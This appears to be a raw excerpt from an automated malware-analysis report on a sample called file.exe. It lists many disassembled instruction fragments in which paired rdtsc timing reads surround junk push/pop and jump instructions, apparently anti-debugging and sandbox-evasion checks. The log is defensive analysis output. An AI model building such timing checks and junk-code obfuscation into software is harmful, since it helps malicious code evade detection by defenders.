Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A9EF second address: A8AA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F19ECFDC0C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AA17 second address: A8AA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8C4E3 second address: A8C4FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F19ECFDC0D0h 0x00000008 jnl 00007F19ECFDC0C6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8E0B second address: 9A8E28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9947h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8E28 second address: 9A8E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8E3A second address: 9A8E59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F19ECFD993Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F19ECFD9936h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E7AD second address: A8E7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8E7B2 second address: A8E7E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9948h 0x00000007 jmp 00007F19ECFD9941h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9461F second address: A94624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94624 second address: A94636 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19ECFD9938h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F19ECFD9936h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94636 second address: A9463C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A94C50 second address: A94C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE59 second address: A9AE74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F19ECFDC0CDh 0x0000000b jp 00007F19ECFDC0C6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AE74 second address: A9AE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD993Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9BF5 second address: AA9BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9BFD second address: AA9C17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9946h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA922 second address: 9AA933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6FC1 second address: AA6FC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCA03 second address: ABCA34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F19ECFDC0CFh 0x0000000b jmp 00007F19ECFDC0D7h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCA34 second address: ABCA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F19ECFD9947h 0x0000000b jmp 00007F19ECFD993Ah 0x00000010 popad 0x00000011 js 00007F19ECFD9938h 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCBD9 second address: ABCBDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABCBDD second address: ABCBE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD60FF second address: AD6103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6103 second address: AD6107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD6107 second address: AD613A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push ecx 0x00000009 jg 00007F19ECFDC0C6h 0x0000000f jmp 00007F19ECFDC0D7h 0x00000014 pop ecx 0x00000015 je 00007F19ECFDC0C8h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4FE7 second address: AD4FEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD4FEB second address: AD5010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F19ECFDC0D0h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5010 second address: AD5014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5169 second address: AD516F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD516F second address: AD5173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5173 second address: AD5194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F19ECFDC0D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F19ECFDC0C6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5194 second address: AD519A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5A6C second address: AD5A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5A70 second address: AD5A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F19ECFD9941h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5A9C second address: AD5AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5AA0 second address: AD5AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5AA4 second address: AD5AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F19ECFDC0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5AB0 second address: AD5AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD993Ah 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5AC0 second address: AD5AC6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E74 second address: AD5E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBA99 second address: ADBAF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jnl 00007F19ECFDC0C6h 0x00000010 pop edi 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F19ECFDC0C8h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov dl, bh 0x00000031 push 00000004h 0x00000033 mov edx, dword ptr [ebp+122D3884h] 0x00000039 call 00007F19ECFDC0C9h 0x0000003e push ecx 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBAF0 second address: ADBB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jg 00007F19ECFD9948h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ecx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD731 second address: ADD73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F19ECFDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD2DD second address: ADD2FE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F19ECFD9936h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jmp 00007F19ECFD9940h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD2FE second address: ADD304 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD304 second address: ADD31C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9944h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E82 second address: 4E50E9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E9E second address: 4E50EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EA2 second address: 4E50EBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EBC second address: 4E50EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EC2 second address: 4E50EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EC6 second address: 4E50EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, 38E03BB1h 0x00000011 movzx esi, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EDB second address: 4E50F3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F19ECFDC0D0h 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push ecx 0x00000013 mov edi, 753D2400h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F19ECFDC0D4h 0x00000021 and eax, 3B9DD248h 0x00000027 jmp 00007F19ECFDC0CBh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40CEA second address: 4E40CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40CF0 second address: 4E40D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F19ECFDC0CDh 0x00000013 xor ah, FFFFFFA6h 0x00000016 jmp 00007F19ECFDC0D1h 0x0000001b popfd 0x0000001c call 00007F19ECFDC0D0h 0x00000021 pop esi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D39 second address: 4E40D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D3F second address: 4E40D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D43 second address: 4E40D81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F19ECFD9949h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F19ECFD9946h 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D81 second address: 4E40D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D9C second address: 4E40DB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 mov bx, 8AFEh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20060 second address: 4E20066 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20066 second address: 4E2006C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2006C second address: 4E20070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20070 second address: 4E200BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c mov bl, ah 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F19ECFD9943h 0x00000019 add ecx, 7F33651Eh 0x0000001f jmp 00007F19ECFD9949h 0x00000024 popfd 0x00000025 mov edi, ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200BA second address: 4E200C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200C0 second address: 4E200CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200CF second address: 4E200EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200EB second address: 4E20110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F19ECFD9940h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20110 second address: 4E20114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20114 second address: 4E2011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2011A second address: 4E20120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20120 second address: 4E2015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e jmp 00007F19ECFD9940h 0x00000013 push dword ptr [ebp+0Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2015A second address: 4E2015E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2015E second address: 4E2017B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2017B second address: 4E2018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2018B second address: 4E201A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ch, bl 0x00000013 push eax 0x00000014 pop ebx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201A7 second address: 4E201AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201AD second address: 4E201B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201B1 second address: 4E201B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201E9 second address: 4E201ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201ED second address: 4E201F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40A22 second address: 4E40A29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 2Fh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4062E second address: 4E4063D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4063D second address: 4E40686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD9949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c jmp 00007F19ECFD9943h 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F19ECFD9940h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40686 second address: 4E40695 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40695 second address: 4E406AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFD9944h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E406AD second address: 4E406B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4035E second address: 4E4037E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F19ECFD9945h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4037E second address: 4E4038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19ECFDC0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4038E second address: 4E40392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500C5 second address: 4E500CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500CB second address: 4E50121 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F19ECFD9942h 0x00000010 jmp 00007F19ECFD9945h 0x00000015 popfd 0x00000016 mov dx, si 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d jmp 00007F19ECFD993Ah 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 movzx ecx, di 0x00000028 push edi 0x00000029 movzx esi, bx 0x0000002c pop edx 0x0000002d popad 0x0000002e pop ebp 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push ecx 0x00000033 pop edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50121 second address: 4E50125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
